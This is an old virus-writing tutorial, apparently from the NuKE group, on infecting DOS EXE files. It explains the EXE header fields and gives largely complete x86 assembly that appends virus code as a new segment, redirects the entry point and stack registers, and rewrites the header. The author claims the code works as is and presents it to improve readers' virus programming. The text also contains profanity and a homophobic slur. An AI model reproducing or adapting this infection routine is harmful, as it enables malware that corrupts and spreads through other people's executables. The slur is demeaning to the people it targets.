************************************************** ** EXE Infections : PART I `Infection Process' ** ** ** ** By Rock Steady/NuKE ** ************************************************** We must admit there are HUGE amount of Lame Viruses out there. Ever wonder why so many people talk about the AIDS virus? Its a fucken over writting virus. Its HUGE in size and its written in PASCAL. Please! Have a little more respect for the virus world. What happened to that old Bulgarian Spirit? That too has died. Bulgaria isn't writting as many top viruses as it used to! Or are we in for a surprise? (USSR Kicks!) Well to help people in advancing their Virus programming ability I will try to explain that basics in Infecting an EXE file. There are several ways to infect an EXE file. And I have tried several types. The best one I have programmed is the one you'll see. In Basic, it will infect EXEs by starting a new segment, only for the virus. This will infect EXEs over the size of 64k, and it is alot less complicated.. Before we can begin we must know a few things, about EXEs. Let's say a .COM file has been loaded to segment address 1234:0000. When the COM file runs its code is limited to 1234:0000 to 1234:FFFF (64k). In the other end EXE files, are basicaly several COMs in one. Where EXE files can set up DATA struct in one segment, CODE in another, and STACK in another. EXEs can have an unlimited amount of Segments, its limitation is Memory Availablity. And the EXE file keeps track of these Segments, with an EXE header, telling DOS what segments start where, How big the file is, the amount of memory needed to run. the EXE header is the first few bytes of the EXE file. Though if you use DEBUG to load an EXE file you will not run into the EXE header, as DEBUG uses the EXE header to load its CS:IP regesters with, the SS:SP and so on. Though you can view the EXE header with debug if you Rename that EXE file. So just do `DEBUG FILENAME.EQE' Just rename an EXE, the extension can be anything you wish, however don't go and rename it to COM or BIN, these are reserved Extensions, and debug treats them differently, Example if you rename it to COM debug will load the IP regester as 0100h. The EXE header is Usually 28 bytes, though it is save as 32 Bytes Long. As the size of the EXE header (Offset 8) is in multiple 16 bytes, so 28 bytes will have to be covered in (16*2)! But the last 4 bytes are unused, by dos, Though Doesn't STOP a VIRUS from using it? Just a poping ideas out in the open. Anyhow this is how the EXE header consists, of.. START OFFSETS DISCRIPTIONS (hex) (dec) 00 | 00 | Always 4D 5A. Marks this file as an .EXE file *02 | 02 | Remainder after dividing load module's size by 512 *04 | 04 | Size of file in 512 byte pages 06 | 06 | Number of relocation table entries @08 | 08 | Size of header in paragraphs (16 bytes) 0A | 10 | Minumum number of paragraphs required after loaded program 0C | 12 | Maximum number of paragraphs required after loaded program *0E | 14 | (SS) Offset of Stack Segment in Load module in paragraphs *10 | 16 | SP regester loaded with this word 12 | 18 | Negative sum (ignore overflow) of all words in file (CRC) *14 | 20 | IP register loaded with this word *16 | 22 | (CS) Offset of Code Segment in load module in paragraphs 18 | 24 | Offset of first relocation item. 1A | 26 | Overlay number. If no overlays used, this is 0 * = Will be Edited by our Virus @ = Needed to help our reconstruction of the EXE header First thing to do is read the EXE header for the file to be infected! That can be resolved by... mov ah,3fh ; Read from File BTW: BX=File Handle mov cx,1ch ; Read 1Ch Bytes (28) mov dx,offset ds:[buffer] ; Put it in our Buffer we set up! int 21h ; Call the Dos to do it. jc error_exit ; Error accured, Jmp to an Exit Routine buffer db 1Ch DUP (?) ;This is how to set up your buffer. exe_ip dw 0 ;This is were you will save the original exe_cs dw 0 ;Registers from the EXE header! exe_sp dw 0 ;Put all theses DWs & DBs at the end of exe_ss dw 0 ;you file, with all the others... Next, after reading the first 28 bytes, you will need to set your file pointers to the end of the file. mov ax,4202h ; Move Read/Write Pointer to End of File xor cx,cx ; plus offset (CX:DX)! So make sure CX:DX xor dx,dx ; are ZERO or else it will go further than int 21h ; the End of File! jc error_exit ; Also test for errors! Be a Smart Virus! After bringing your virus to the end, you may start the infection process... ;Remember BX = File Handle DX:AX Pointer Location (EOF) cmp word ptr cs:[buffer],5A4Dh ; Is file an .EXE? /\ Reverse double word format jnz error_exit ;Exit its NOT an .EXE file! mov cx,word ptr cs:[buffer+14h] ;IP register Read mov word ptr cs:[exe_ip],cx ;Save IP Register mov cx,word ptr cs:[buffer+16h] ;CS Register Read mov word ptr cs:[exe_cs],cx ;Save CS Register mov cx,word ptr cs:[buffer+10h] ;SP Register Read mov word ptr cs:[exe_sp],cx ;Save SP Register mov cx,word ptr cs:[buffer+0Eh] ;SS Register Read mov word ptr cs:[exe_ss],cx ;Save SS Register The following finds new CS:IP and SS:SP registers. It will create a new segment, and CS:IP will point to the beginning of the Virus. If you have other code, and the virus beginning is further down the First byte, just add the number of Bytes to AX. push ax push dx call Find_New_Offsets ;Refer to it at the END of this Text sub dx,word ptr cs:[buffer+8h] ;Minus CS offset by EXE header! mov word ptr cs:[buffer+16h],dx ;Save new CS Register mov word ptr cs:[buffer+14h],ax ;Save new IP Register pop dx pop ax ; Restore Original DX:AX Point Location (EOF) add ax,virus_size ; .STACKs are usually at the end of the code ; in the EXEs, since our virus is now at the ; End, we must move it after our virus, thus ; it back at the END of the File! adc dx,0 ;Add with Carry Flag! push ax push dx ;Save new EOF pointer Location call Find_New_Offsets ;Get NEW offsets for SS:SP sub dx,word ptr cs:[buffer+8h] ;Subtract EXE header from File Size ;as it should not be counted! add ax,40h ;Move Stacks a little after EOF mov word ptr cs:[buffer+0Eh],dx ;Save new SS Register for Stacks mov word ptr cs:[buffer+10h],ax ;Save new SP Register for Stacks pop dx pop ax ;Restore Original EOF (With Virus Counted) push bx push cx mov cl,7 ;In Simple, here we are figuring out shl dx,cl ;the New File Size in 512byte pages add bx,ax ;Now Rather than using the DIV and mov cl,9 ;MOD function, I used this one because shr bx,cl ;It is alot FASTER for the Processor! add dx,bx ;The Result is exactly same, But and ax,1FFh ;Shifting bits, results of the jz Its_Even ;Same function when dealing with base inc dx ;16 numbers! Its_Even: ;Read PeterNorton's Advanced ASM Language for pop cx ;more neat short cuts for the above! pop bx mov word ptr cs:[buffer+2h],ax ;Remainder after of 512 pages mov word ptr cs:[buffer+4h],dx ;New File Size in 512 pages Now we are Ready to write the virus to the EXE File! (Yeah!) mov ah,40h ;Write to File mov dx,offset init_Virus ;This is the BEGINNING offset of your ;Virus! (Look at NuKE PoX v1.1) mov cx,Virus_size ;Virus Size int 21h jc error_exit ;Error Exit dude... mov ax,4200h ;Move File Pointer to the BEGINNING xor cx,cx ;of the EXE so, we may now write the xor dx,dx ;EXE header! int 21h mov ah,40h ;Write to File mov dx,offset ds:[buffer] ;Write all the stuff in the EXE_Header mov cx,1Ch ;CX=number of bytes to write int 21h ;Do it! ; finds new Offsets for CS:IP & SS:SP Registers Find_New_Offsets PROC NEAR push bx push cx mov cl,0Ch ;(c) Rock Steady/NuKE shl dx,cl ; I'm dividing here.... mov bx,ax mov cl,4 ; And multiply by 16 hear shr bx,cl add dx,bx and ax,0Fh pop cx pop bx retn Find_New_Offsets ENDP Rock Steady / NuKE PS: This code works 100% as is! (Resident Virus) For Non-Residents add a location pointer! Besides, Why the Hell are you write a non-Ressy Virus? You Gay? Look at `NuKE PoX V1.1' sources to see this working!